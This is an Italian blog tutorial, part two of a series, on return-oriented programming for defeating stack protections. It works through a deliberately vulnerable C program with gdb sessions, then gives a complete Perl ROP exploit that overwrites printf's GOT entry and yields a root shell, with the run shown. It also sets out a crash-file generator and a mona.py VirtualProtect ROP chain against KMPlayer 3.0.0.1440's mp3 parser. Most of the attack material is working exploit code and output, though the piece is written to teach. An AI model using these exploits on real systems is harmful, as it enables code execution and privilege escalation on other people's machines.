Magazine Salute e Benessere

Smashing the stack oggi, PARTE 2: Return-oriented-programming

Creato il 18 giugno 2013 da Matteo Tosato @MatteoTosato87

Nella parte precedente, abbiamo passato in rassegna tutti i nuovi sistemi di sicurezza ideati negli ultimi dieci anni. Essi sono stati pensati per limitare le vulnerabilità che nascono dalla cattiva gestione delle strutture di memoria e funzioni di basso livello nei programmi da parte dei programmatori.
In conclusione, abbiamo reso evidente che, nella maggior parte dei casi, gli attacchi vengono fermati.

Tuttavia, in molti casi rimane possibile portare a termine attacchi con esito positivo tramite tecniche molto complesse. In questo articolo vedremo un esempio che darà idea delle metodologie e tecniche necessarie al giorno d’oggi per sfruttare tale vulnerabilità.

Lo stato dell’arte degli attacchi che sfruttano la vulnerabilità suddetta vede come protagonista una tecnica simile a quella già vista “ret-into-libc”. Questa metodologia è considerata limitata per alcuni motivi:

1 L’attaccante è in grado di invocare solo funzioni già esistenti nella sezione text del programma o nelle librerie che sono linkate assieme.
2 Il codice può essere solo rettilineo, ovvero una chiamata dopo l’altra, senza possibilità di modificare registri direttamente.
3 Rimuovendo certe funzioni (non utilizzate) dell’immagine di processo si può limitare le possibilità dell’attaccante.

Return Oriented Programming, abbreviata ROP, è la sua evoluzione che fa un uso più creativo del codice già esistente. In pratica questa tecnica fa uso di piccole sequenze di codice denominate “gadgets” composte da due o tre istruzioni di codice. Queste si trovano già nell’immagine di processo.
La predisposizione dei “gadgets” è un processo piuttosto difficile e delicato, in relazione ai classici attacchi ret-to-libc, ci sono 3 differenze fondamentali:

1 La sequenza del codice che invochiamo è molto breve, solitamente due o tre istruzioni che fanno soltanto una piccola parte di lavoro. Negli attacchi ret-to-libc tradizionali, il blocco  prodotto è una intera funzione che svolge il compito fondamentale. Di conseguenza, i nostri attacchi saranno ad un livello di astrazione più basso.
2 Generalmente le sequenze di codice che noi invocheremo non avranno ne prologo ne epilogo e non saranno concatenate assieme durante l’attacco in un modo standard.
3 Inoltre, le sequenze di codice che noi invocheremo, considerando i blocchi, hanno un’interfaccia casuale; al contrario, l’interfaccia della chiamata a funzione è standardizzata come una parte dell’ABI. Questi gadgets o breve sequenza di istruzioni possono essere combinate assieme per permetterci  di eseguire varie operazioni, tra cui caricare/scaricare da registri, operazioni logiche e aritmetiche, controllo del flusso e chiamate di sistema.

La differenza sostanziale con ret-into-libc è che nello stack non viene iniettato codice, ma solo gli indirizzi di questi gadget localizzati in .text delle libc.

L’esecuzione di ogni gadget avviene sempre nel medesimo modo, il processore esegue l’istruzione ret con il registro ESP che punta alla WORD contenente l’indirizzo del prossimo gadget.
L’istruzione ret, sistema il contenuto dello stack pointer (ESP) in EIP, al momento del ritorno da una funzione. Su questo meccanismo si basano gli attacchi ret-to-libc. Questo funziona perchè al momento della chiamata a ret esp punterà all’indirizzo di ritorno che era stato salvato nello stack. Il seguente codice mostra come utilizzare ret:

 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>

 char string[]="/bin/sh";
 char end[]="echo END";

 void func(void);

 int main(int argc,char**argv) {
         func();
         // Will never call:
         system(end);
 }

 void func(void) {
         int dummy;              // Return address of our shell
         int system = 134513420; // Decimal code of 0x804830c (<system@plt>)
         printf("\nCall a shell via .plt:\n");

         asm(
                         "push %1;"
                         "push %2;"
                         "push %0;"
                         "ret;"
                         :
                         :"r"(system),
                         "r"(string),
                         "r"(dummy));
 }

L’indirizzo della system può cambiare a seconda dell’ambiente naturalmente, è sufficiente ricalcolarlo con gdb come già sapete fare:

root@HackLab:~/RetOriented# gdb a.out -q
(gdb) disass main
Dump of assembler code for function main:
0x080483f4 <main+0>:    lea    0x4(%esp),%ecx
...
0x08048402 <main+14>:   sub    $0x14,%esp
0x08048405 <main+17>:   call   0x804841f
0x0804840a <main+22>:   movl   $0x804a020,(%esp)
0x08048411 <main+29>:   call   0x804830c <system@plt>
...
End of assembler dump.
(gdb) x/8i 0x804830c
0x804830c <system@plt>: jmp    *0x804a004
0x8048312 <system@plt+6>:       push   $0x8
...

L’indirizzo che ci serve è 0x084830c.
Lavorando sul valore di dummy è possibile far eseguire una ulteriore funzione dopo essere ritornati da system(). Compiliamo ed eseguiamo:

root@HackLab:~/RetOriented# gcc test0E.c -g
root@HackLab:~/RetOriented# ./a.out

Call a shell via .plt:
sh-3.2#

ROP può essere molto ostico da capire. soprattutto quando non si ha familiarità con l’architettura dei sistemi operativi. Come per la parte precedente, lascerò a fine articolo, fra i riferimenti bibliografici molte risorse per approfondire e comprendere in modo adeguato gli attacchi basati su ROP.

Si osservi ora il seguente programma. Esso è banale, ma ci permette di capire quanto può sia difficile aggirare i nuovi sistemi di protezione.

 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>

int func(char *msg) {
    char buf[80];

    strcpy(buf,msg);			// Bug
    buf[0] = toupper(buf[0]);
    strcpy(msg,buf);
    printf("Caps: %s\n",msg);
    exit(1);
}

int main(int argc, char**argv) {
        func(argv[1]);
}

Sfruttando la doppia strcpy() possiamo scrivere un indirizzo arbitrario in una posizione arbitraria.
Questo perchè possiamo sovrascrivere “char* msg”. La situazione:

____________________________________________
| | | |
| puntatore | | buffer |
|___________|___|________________________|__
4 byte ? 88 bytes

Dobbiamo sempre verificare la reale dimensione di memoria allocata per il buffer, non è detto sia esattamente 80 bytes:

(gdb) disass func
Dump of assembler code for function func:
   0x08048484 <+0>:	push   %ebp
   0x08048485 <+1>:	mov    %esp,%ebp
   0x08048487 <+3>:	sub    $0x68,%esp
   0x0804848a <+6>:	mov    0x8(%ebp),%eax
   0x0804848d <+9>:	mov    %eax,0x4(%esp)
   0x08048491 <+13>:lea    -0x58(%ebp),%eax

infatti: “lea   -0×58(%ebp),%eax” riserva ben 88 bytes, 8 in più.
Poi, quanto dista il buffer dal puntatore passato a func? Questa è una informazione molto importante, dato che nel codice di attacco dovremo prevedere proprio un “padding” per poter arrivare al puntatore. Troviamola:

(gdb) break 7
Breakpoint 1 at 0x804848a: file vuln.c, line 7.
(gdb) run
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out

Breakpoint 1, func (msg=0x0) at vuln.c:8
8		strcpy(buf,msg);
(gdb) print &msg
$1 = (char **) 0xbffff3a0
(gdb) print &buf
$2 = (char (*)[80]) 0xbffff340

0xbffff3a0 - 0xbffff340 = 96 bytes

dovrebbe essere 96 bytes. Verifichiamo:

(gdb) run $(python -c "print 'A'*96")
Breakpoint 1, func (msg=0xbffff5af 'A' ) at vuln.c:8
8		strcpy(buf,msg);
(gdb) n
9		buf[0] = toupper(buf[0]);

Indaghiamo:

(gdb) print &msg
$2 = (char **) 0xbffff340
(gdb) x/100x $esp
...
0xbffff310:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff320:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff330:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff340:	0xbffff500	0x0011e0c0	0x0804851b	0x00283ff4
0xbffff350:	0x08048510	0x00000000	0xbffff3d8	0x00144bd6
0xbffff360:	0x00000002	0xbffff404	0xbffff410	0xb7fff858
...

direi che è corretto, 96 bytes.
Sovrascriviamo il byte più a destra, questo non dovrebbe far crashare il programma dato che il puntatore rimane relativo ad una zona vicina:

(gdb) run $(python -c "print 'A'*97")
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'A'*97")

Breakpoint 1, func (msg=0xbffff5ae 'A' ) at vuln.c:8
8		strcpy(buf,msg);
(gdb) n
9		buf[0] = toupper(buf[0]);
(gdb) x/100x $esp
...
0xbffff320:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff330:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff340:	0xbfff0041	0x0011e0c0	0x0804851b	0x00283ff4
0xbffff350:	0x08048510	0x00000000	0xbffff3d8	0x00144bd6
...
(gdb) continue
Continuing.
Caps: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Tutto ok.
Invece, proviamo a sovrascrivere un byte in più:

(gdb) run $(python -c "print 'a'*98")
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'a'*98")

Breakpoint 1, func (msg=0xbffff5ad 'a' ) at vuln.c:8
8		strcpy(buf,msg);
(gdb) n
9		buf[0] = toupper(buf[0]);
(gdb) n
10		strcpy(msg,buf);
(gdb) n

Program received signal SIGSEGV, Segmentation fault.
0x001a1214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) inf reg
eax            0xbf006161	-1090494111
ecx            0x41	65
edx            0x0	0
ebx            0x283ff4	2637812
esp            0xbffff2c0	0xbffff2c0
ebp            0xbffff2c8	0xbffff2c8
esi            0xbf006160	-1090494112
edi            0xbffff2e0	-1073745184
eip            0x1a1214	0x1a1214 <strcpy+20>
eflags         0x210246	[ PF ZF IF RF ID ]
...

Come vedete EAX contiene un indirizzo non accessibile per il nostro programma. quindi la strcpy(), tentando di scriverci, riceve dal kernel un errore SIGSEGV.
Inserendo 96 bytes più 4 byte, questi ultimi 4 potrebbero divenire quelli che vanno a modificare il valore del puntatore. In questo modo la copia seguente andrebbe a modificare i byte che si trovano proprio a quell’indirizzo. Ci resta solo da decidere che cosa sovrascrivere.

Data la semplicità del programma l’unica cosa che mi pare ovvia da fare, è sovrascrivere la entry nella sezione GOT relativa alla funzione printf(). Abbiamo già trattato la funzione della sezione GOT in un capitolo precedente.
Questa contiene una serie di indirizzi associati a funzioni della libc. Al posto di printf() eseguiremo qualcosa d’altro.

Per riuscire a sovrascrivere la entry è necessario fare ancora qualche ragionamento.
La sezione GOT è scrivibile. Siccome la vulnerabilità in questione riguarda una doppia strcpy() dobbiamo adattare la stringa per essere “multiuso” diciamo. Infatti nell’estremità più bassa di essa deve essere posizionato l’indirizzo della GOT. Ricaviamolo,

root@Saturn:~/Documenti/RetOriented-Exploit$ objdump -R a.out

a.out:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   __gmon_start__
0804a004 R_386_JUMP_SLOT   toupper
0804a008 R_386_JUMP_SLOT   __libc_start_main
0804a00c R_386_JUMP_SLOT   strcpy
0804a010 R_386_JUMP_SLOT   printf
0804a014 R_386_JUMP_SLOT   exit

0x0804a010 deve essere posizionato dopo il padding in fondo al buffer in modo da sovrascire il puntatore.
Mentre in testa al buffer viene posizionato il codice da copiare, dato che la seconda strcpy() comincerà la copia della testa del buffer. Qui noi posizioneremo una serie di indirizzi in stile ret-to-libc.
Prima di decidere cosa copiare facciamo un primo esperimento, ‘AAAA’ inceve che un indirizzo valido:

root@Saturn:~/Documenti/RetOriented-Exploit$ gdb a.out -q
Reading symbols from /home/matteo/Documenti/RetOriented-Exploit/a.out...done.
(gdb) break main
(gdb) run $(python -c "print 'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")

Breakpoint 1, main (argv=2, argc=0xbffff404) at vuln.c:16
16		func(argc[1]);
(gdb) s
func (msg=0xbffff5ab "AAAA", 'p' , "\020\240\004\b") at vuln.c:8
8		strcpy(buf,msg);
(gdb) n
9		buf[0] = toupper(buf[0]);
(gdb) print msg
$27 = 0x804a010 "\256\203\004\b\276\203\004\b"
(gdb) n
10		strcpy(msg,buf);
(gdb) n
11		printf("Caps: %s\n",msg);
(gdb) x/25i msg
   0x804a010 <_GLOBAL_OFFSET_TABLE_+28>:	inc    %ecx
   0x804a011 <_GLOBAL_OFFSET_TABLE_+29>:	inc    %ecx
...
(gdb) n

Program received signal SIGSEGV, Segmentation fault.
0x080483a8 in printf@plt ()

La mia indagine credo sia chiara, abbiamo sovrascritto la entry nella GOT con 0×41414141 che, ovviamente, ha fatto crashare il programma. Ma abbiamo capito meglio la situazione.
Se noi al posto di AAAA reinseriamo la GOT entry di printf, tutto dovrebbe filare liscio. Ricaviamo la entry corretta:

(gdb) x/1x 0x804a010
0x804a010 <_GLOBAL_OFFSET_TABLE_+28>:	0x080483ae

(gdb) run $(printf "\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf "\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")
Caps: 0Q

Program received signal SIGSEGV, Segmentation fault.
0x080483b8 in exit@plt ()

Ha crashato comunque me questo perchè la sringa non potevamo passarla con un terminatore ”, quindi la copia ha proseguito rovinando anche la entry got della exit. (Difatti è la exit() che fallisce) Bene allora correggiamo il tutto sovrascrivendo anche la entry della exit:

(gdb) x/2x 0x804a010
0x804a010 <_GLOBAL_OFFSET_TABLE_+28>:	0x080483ae	0x080483be

(gdb) run $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08")

Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08")
Caps: 0Q

Program exited with code 01.

Funziona. Come se niente fosse. Questa tecnica ci può tornare utile perchè potremmo pensare di modificare il comportamento del programma senza farlo crashare dopo l’esecuzione del nostro codice.

In questo caso però non possiamo fare questo ragionamento dato che la entry di printf() è esattamente quella prima di exit, a meno che ci basti fare una chiamata sola, ma questo è piuttosto improbabile.
Possiamo però spostare la entry di exit() alla fine del nostro codice in modo tale da invocarla comunque alla fine. Riassumendo il nostro buffer di attacco sarà così composto:

|our gadgets addresses|,|exit@got|,|padding|,|address of printf@got|

Che compito dovranno avere i nostri gadget? Pensando di eseguire un exploit locale il più semplice possibile sceglierei di cercare di eseguire la funzione system() sovrascrivendo la got entry di printf(). Abbiamo già visto come invocare system. Quello che non abbiamo è la entry nella sezione plt che ci occorre, questo perchè la funzione system non è usata dal nostro programma. Occorre dunque scoprire come poter chiamare la funzione.
Vi propongo la sequente indagine,

Analizziamo con gdb ancora un volta il programma vuln.c e cerchiamo di capire come poter ricavare l’indirizzo di system() senza che nel programma questa venga usata, quindi senza entry per system nella sezione .plt.

root@saturn:~/RETOR# gdb a.out -q
(gdb) break main
Breakpoint 1 at 0x80484e1: file vuln.c, line 16.
(gdb) run
Starting program: /root/RETOR/a.out

Breakpoint 1, main (argc=1, argv=0xbffec994) at vuln.c:16
16              func(argv[1]);
(gdb) p system
$1 = {} 0xb7eaaac0   # Indirizzo di system() in libc
(gdb) x/10i 0x8048374					   # 0x8048374 è l'indirizzo di chiamata di strcpy@plt
0x8048374 <strcpy@plt>: jmp *0x804a00c	                   # nella sezione plt viene effettuato un salto a 0x804a00c, il quale
0x804837a <strcpy@plt+6>: push $0x18		           # rimanda a 0x804837a
0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48>        # viene effettuato un salto a 0x8048334
0x8048384 <printf@plt>: jmp *0x804a010
...

(gdb) x/10i 0x8048334				# siamo nella sezione _init a 0x8048334, dalle istruzioni vediamo
0x8048334 <_init+48>:   pushl  0x8049ff8        # che viene effettuato un'altro salto.
0x804833a <_init+54>:   jmp    *0x8049ffc       # *0x8049ffc è un'altro puntatore ad indrizzo
0x8048340 <_init+60>:   add    %al,(%eax)
0x8048342 <_init+62>:   add    %al,(%eax)...

(gdb) x/1x 0x8049ffc
0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>:    0xb7ff6080  # a tale locazione (nella GOT) ci manda nelle libc.
(gdb) q
The program is running.  Exit anyway? (y or n) y

Gli indirizzi che cambiano sempre sono quelli delle libc naturalmente, 0xb7ff6080 e l’indirizzo di system: 0xb7eaaac0.
Quello che è interessante è che nel programma analizzato, il primo di questi indirizzi si trova ad una locazione fissa. Nella GOT, abbiamo visto prima che è a:
0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080
Sempre. Per il momento verifichiamo questa tesi e verifichiamo anche che la differenza tra i due indirizzi rimane la stessa. Questo è ovvio ma effettuiamo comunque il calcolo per fissare le idee.
0xb7ff6080 – 0xb7eaaac0 = 0x14b5c0 (1357248 bytes)

prendiamo nota del risultato e rieffettuiamo i test con un’altra istanza del programma che rilocherà le libc ad indirizzi differenti.

root@saturn:~/RETOR# gdb a.out -q
(gdb) break main
Breakpoint 1 at 0x80484e1: file vuln.c, line 16.
(gdb) run
Starting program: /root/RETOR/a.out

Breakpoint 1, main (argc=1, argv=0xbf9df054) at vuln.c:16
16              func(argv[1]);
(gdb) p system
$1 = {} 0xb7f4fac0
(gdb) x/10i 0x8048374
0x8048374 <strcpy@plt>:    jmp    *0x804a00c
0x804837a <strcpy@plt+6>:  push   $0x18
0x804837f <strcpy@plt+11>: jmp    0x8048334 <_init+48>
...

(gdb) x/10i 0x8048334
0x8048334 <_init+48>:   pushl  0x8049ff8
0x804833a <_init+54>:   jmp    *0x8049ffc
...

(gdb) x/1x 0x8049ffc
0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>:    0xb809b080

Ricalcoliamo:
0xb809b080 – 0xb7f4fac0 = 0x14b5c0 (1357248 bytes)
ok, questo era ovvio.
Abbiamo visto anche che la locazione nella GOT contenente l’indirizzo 0xb809b080 è sempre 0x8049ffc. Questa è fissa ad ogni esecuzione.

Questo ci permette di calcolare l’indirizzo della funzione system,
Il seguente programma esegue system() calcolando il suo indirizzo a runtime. (relativamente al mio ambiente)

#include

char string[]="/bin/sh";

void main(void)
{
        asm(
                "push %0;"
                "push $0x41414141;"
                "movl $0x8049ffc, %%edi;"
                "movl (%%edi), %%eax;"
                "subl $0x14b5c0, %%eax;"
                "push %%eax;"
                "ret;"
                :
                :"r"(string)
        );
}

L’indirizzo 0x8049ffc utilizzato è relativo all’ambiente naturalmente. Così come l’offset dipende come minimo dalla versione delle libc. Abbiamo dunque appreso che l’offset tra l’indirizzo memorizzato alla locazione fissa in <GOT+8> all’indirizzo di system è sempre di 1357248 bytes. Possiamo prendere come riferimento questo indirizzo come altri all’interno dell’immagine, l’importante è che sia fisso.

Fatto questo vediamo l’exploit del programma.
Quello che vedremo non è semplicemente un exploit che utilizza la tecnica ret-oriented ma un misto di più tecniche.
Prima di vederlo e di spiegarne il funzionamento parliamo subito del problema principale a cui abbiamo girato attorno da un pò di righe a questa parte. Il punto è che gli exploit moderni sono molto dipendenti dall’ambiente in cui ci troviamo. Nel senso che se cambiassimo la versione delle libc o la versione del compilatore utilizzato l’exploit che vedremo fra poco non funzionerà più. (questo in particolare)
Quindi purtroppo / per fortuna i sistemi vulnerabili sono drasticamente diminuiti un pò per questo motivo, un pò perchè, come abbiamo visto, le tecniche si sono molto complicate.

Detto questo l’exploit in perl:

1 #!/usr/bin/perl
2
3 #	code	                description			virtual address
4
5 print "\xa2\x85\x04\x08" .	# first gadget			--> 0x804a010
6       "\x90\x90\x90\x90" .	# padding			--> 0x804a014
7 	"\x90\x90\x90\x90" .	# padding			--> 0x804a018
8 	"\xe8\xa2\x04\x08" .	# pointer to this section	--> 0x804a01c
9 	"\x8c\x83\x04\x08" .	# address of second gadget	--> 0x804a020
10	"\xd0\x2c\xfc\xff" .	# EAX				--> 0x804a024
11 	"\x14\xa0\x8e\x13" .	# EBX				--> 0x804a028
12	"AAAA" . 	        # padding			--> 0x804a02c
13	"/bin/sh;" . 		# system() argument		--> 0x804a030 (+ 8 b)
14	"A"x48 . 		# padding			--> 0x804a038 (+ 48 b)
15	"\x10\xa0\x04\x08" .	# printf GOT entry address	--> 0x804a068
16	"\x30\xa0\x04\x08"x160 .# dummy				--> 0x804a06c (+ 640 b)
17	"\xce\x85\x04\x08" .	# address of third dadget	--> 0x804a2ec
18	"\x30\xa0\x04\x08"x0x2 .# dummy				--> 0x804a2f0 (+8 b)
19	"\x30\xa0\x04\x08" .	# dummy EBP			--> 0x804a2f8
20	"\xaf\x84\x04\x08" .	# call *%eax			--> 0x804a2fc
21	"\x30\xa0\x04\x08";	# "/bin/sh" address		--> 0x804a300

# GADGETS SUMMARY:
#
# 1) add 0xc, %esp - 0x80485a2
#    pop %ebx
#    pop %esi
#    pop %edi
#    pop %ebp
#    ret
#
# 2) pop %eax - 0x804838c
#    pop %ebx
#    leave
#    ret
#
# 3) add -0xb8a0008(%ebx),%eax - 0x80485ce
#    add $0x4, %esp
#    pop %ebx
#    pop %ebp
#    ret
#
# 4) call *%eax	- 0x80484af

La prima osservazione che facciamo è che la copia del buffer che passiamo a riga di comando va a sovrascrivere il puntatore con l’indirizzo: “0x804a010″. Esattamente la riga numero 15 dello script.
La seconda copia andrà di conseguenza a scrivere a partire proprio da quell’indirizzo la nostra stringa. A questo punto il programma proseguirà normalmente fino al punto in cui printf viene chiamata. Siccome abbiamo sovrascritto il valore memorizzato a 0x804a010, il tutto salterà all’inizio della nostra stringa. (riga 5)
Qui è memorizzato l’indirizzo del primo gadget. Questo viene eseguito memorizzando nei registri ESI e EDI le WORD costituite da ’0×90′. Poi in EBP viene inserito l’indirizzo appena precedente al terzo gadget. Capiremo il perchè fra poco.
Quando l’istruzione “ret” viene eseguita il registro ESP punta all’indirizzo del gadget successivo, questo indirizzo viene caricato in EIP, quindi l’esecuzione passa a questo gadget. Questo caricherà nei registri EAX ed EBX i valori che abbiamo sistematicamente posizionato in memoria nelle due successive locazioni.
L’istruzione “leave” ci spiega il perchè abbiamo precedentemente caricato in EBP l’indirizzo subito precedente al terzo gadget, infatti “leave” sistemerà questo in ESP poi lo incrementerà facendolo puntare al terzo gadget. La ret fa il resto.
Il terzo gadget presenta come prima istruzione una addizzione che somma un certo valore al registro EAX. Attraverso questa istruzione noi calcoliamo l’indirizzo di system in modo dinamico. Già, perchè in EBX ho un valore a cui sottraendo 0xb8a0008 ottengo l’indirizzo della GOT entry di strcpy. Il valore puntato da questo indirizzo viene addizzionato a EAX, EAX contiene un offset. Anche questo valore è stato caricato dal gadget precedente e contiene l’offset tra strcpy e sytem nelle libc espresso come valore negativo. Questo è fisso naturalmente. Il risultato della computazione è l’indirizzo di system.
A questo punto abbiamo tutti gli elementi che ci servono. EAX contiene l’indirizzo che ci occorre, le restanti istruzioni riservano memoria sufficiente all’esecuzione di system senza rischiare di avere un SIGSEGV andando a scrivere in una porzione di memoria non accessibile. L’ultimo gadget consiste nell’istruzione “call *%eax” ovvero la chiamata ad una routine con indirizzo puntato da un registro, nel nostro caso EAX.

Questo è sicuramente uno dei casi più complicati per motivi diversi.
Prima di tutto il calcolo di system in modo dinamico. Le libc sono anche esse rilocate ad indirizzi random così come lo stack. Il segmento .text del programma è estremamente limitato, pertanto abbiamo pochissimi gadget a disposizione.
Si può dire che normalmente si hanno molte più possibilità con programmi normali che hanno un sezione text molto più vasta.

L’esecuzione del programma normale è la seguente:

root@HackLab:~/RetOriented# ./ex1 prova
Caps: Prova

L’exploit:

root@HackLab:~/RetOriented# ./ex1 $(./AdvRetExploit.pl)
sh-3.2# whoami
root
sh-3.2# exit
exit
sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: command not found
Segmentation fault

Su Microsoft windows la situazione è similare, in questo caso però avremo dalla nostra parte che il suo sistema di DLL racchiude in se svariati problemi che rendono il sistema, nel complesso, più vulnerabile. Purtroppo devo dare per scontato molti concetti riguardanti le shellcode su windows. Il seguente è un esempio di exploit locale che fa uso di tecnica ROP.

Il programma è per l’esattezza: “The KMPlayer 3.0.0.1440”.

Avviamo il programma e controlliamo il processo con ProcessExplorer.exe e Immunity debugger.

Se effettuiamo il controllo senza aprire prima nessun file audio, non troviamo nessun modulo non protetto, dunque non siamo in grado di eseguire alcunchè. Se invece apriamo un file audio “.mp3” il processo carica a runtime delle dll, queste sono quelle relative ai codec. Tra queste, due in particolare non vengono protette dal sistema ASLR. L’indagine con lo script ASLRdynamicbase.py restituisce l’output seguente: (viene utilizzato qui Immunity debugger con diversi plugin in python)

ASLR /dynamicbase Table
Base                       Name                       DLLCharacteristics         Enabled?
71880000                   sensapi.dll                0x0140                     ASLR Aware (/dynamicbase)
73a80000                   wdmaud.drv                 0x0140                     ASLR Aware (/dynamicbase)
758c0000                   MSASN1.dll                 0x0540                     ASLR Aware (/dynamicbase)
...
75e50000                   SHLWAPI.dll                0x0140                     ASLR Aware (/dynamicbase)
770a0000                   USER32.dll                 0x0140                     ASLR Aware (/dynamicbase)
72cd0000                   CSCAPI.dll                 0x0140                     ASLR Aware (/dynamicbase)
64e40000                   ashShell.dll               0x0000
73790000                   midimap.dll                0x0140                     ASLR Aware (/dynamicbase)
74200000                   WindowsCodecs.dll          0x0140                     ASLR Aware (/dynamicbase)
73750000                   OLEACC.dll                 0x0140                     ASLR Aware (/dynamicbase)
...
778b0000                   NSI.dll                    0x0540                     ASLR Aware (/dynamicbase)
75eb0000                   WLDAP32.dll                0x0140                     ASLR Aware (/dynamicbase)
6c210000                   GrooveIntlResource.dll     0x0540                     ASLR Aware (/dynamicbase)
75b00000                   KERNELBASE.dll             0x0140                     ASLR Aware (/dynamicbase)
6d720000                   msi.dll                    0x0140                     ASLR Aware (/dynamicbase)
00400000                   KMPlayer.exe               0x0000
5fb30000                   qasf.dll                   0x0140                     ASLR Aware (/dynamicbase)
76450000                   shell32.dll                0x0140                     ASLR Aware (/dynamicbase)
761a0000                   SETUPAPI.dll               0x0140                     ASLR Aware (/dynamicbase)
...
75c70000                   wininet.dll                0x0140                     ASLR Aware (/dynamicbase)
75920000                   WINTRUST.dll               0x0140                     ASLR Aware (/dynamicbase)
772d0000                   RPCRT4.dll                 0x0140                     ASLR Aware (/dynamicbase)
73eb0000                   ATL.DLL                    0x0140                     ASLR Aware (/dynamicbase)
75b50000                   IMM32.DLL                  0x0140                     ASLR Aware (/dynamicbase)
6d5d0000                   ntshrui.dll                0x0140                     ASLR Aware (/dynamicbase)
10000000                   PProcDLL.dll               0x0000
5fe30000                   mp3dmod.dll                0x0140                     ASLR Aware (/dynamicbase)

Come noterete, oltre l’eseguibile, ci sono altri due moduli non protetti. Sfruttando questi moduli abbiamo alcune speranze di poter fare qualcosa.
Il bug dell’applicazione si trova come al solito nel parser dei file “.mp3”. Se tentiamo di aprire un file con questa estensione contenente una lunga stringa di caratteri non conformi al formato .mp3, il programma, in qualche modo, sovrascrive tale contenuto sullo stack. Risalire al tipo di errore che il programma commette è complesso ma fattibile, non rientra però nei nostri obiettivi. Ciò che dobbiamo fare è solo eseguire alcune prove per capire gli offset critici che ci occorre sapere.
Per far questo ricorriamo ai tools di metasploit.

#!/usr/bin/python

evilfile = "crash.mp3"

junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab..."

myfile = open(evilfile,"w")
myfile.write(junk)
myfile.close()

Aprendo il file crash.mp3 generato, il nostro programma KMPlayer si arresterà, windows ci chiederà (se abbiamo configurato correttamente windbg) se vogliamo eseguirne il debug. Se rispondiamo si possiamo ricavarci l’indirizzo puntato da EIP al momento del crash.

(a28.ff4): Access violation – code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=336d4632 edx=76ed71cd esi=00000000 edi=00000000
eip=336d4632 esp=065611b8 ebp=065611d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
336d4632 ?? ???

Con pattern_offset.rb ci ricaviamo l’offset in byte che esprime la distanza tra l’inizio del buffer e l’EIP salvato. La distanza su questo sistema è di 4112 byte.
Analizzando lo stack al momento del crash ci accorgiamo che la nostra stringa non viene posta contiguamente nello stack ma che ci finisce dopo essere stata troncata, questo non è un problema solo se la troncatura avviene prima, se così non fosse allora dovremo inserire in ogni spezzone le istruzioni necessarie per saltare al prossimo, se non ci stiamo in uno. Fortunatamente non è questo il caso perchè la troncatura avviene solo prima.

Quando abbiamo raccolto informazioni sufficienti sul tipo di problema avviamo mona.py che ci darà una mano per la ricerca dei gadget, non potremo eseguire nulla sullo stack fino a che non chiameremo VirtulProtect() che allocherà nuova memoria assegnando permessi di scrittura e esecuzione, copieremo la nostra shellcode in questa regione e la eseguiremo.

Basandoci unicamente sul modulo ‘PProcDLL.dll’ mona produce i relativi file, in rop_virtualprotect.txt è presente la struttura rop:

mona.py eseguito con: ‘!mona rop –m PProcDLL.dll -n’

  VirtualProtect register structure (PUSHAD technique)
  ----------------------------------------------------
    EAX = NOP (0x90909090)
    ECX = lpOldProtect (Writable ptr)
    EDX = NewProtect (0x40)
    EBX = Size
    ESP = lPAddress (automatic)
    EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -n -o')
    ESI = ptr to VirtualProtect()
    EDI = ROP NOP (RETN)

  VirtualProtect() 'pushad' rop chain
  ------------------------------------
	rop_gadgets =
		[
			0x1004a594,	# POP EAX # RETN (PProcDLL.dll)
			0x1014f264,	#  ecx)
			0x1001a384,	# POP EDI # RETN (PProcDLL.dll)
			0x1001a385,	# ROP NOP (-> edi)
			0x1004a594,	# POP EAX # RETN (PProcDLL.dll)
			0xffffffc0,	# value to negate, target value : 0x00000040, target reg : edx
			0x100d2b6b,	# NEG EAX # RETN (PProcDLL.dll)
			0x100eba5a,	# XCHG EAX,EDX # RETN (PProcDLL.dll)
			0x1004a594,	# POP EAX # RETN (PProcDLL.dll)
			0x90909090,	# NOPS (-> eax)
			0x10014443,	# PUSHAD # RETN (PProcDLL.dll)
		# rop chain generated by mona.py
		# note : this chain may not work out of the box
		# you may have to change order or fix some gadgets,
		# but it should give you a head start
		].pack("V*")

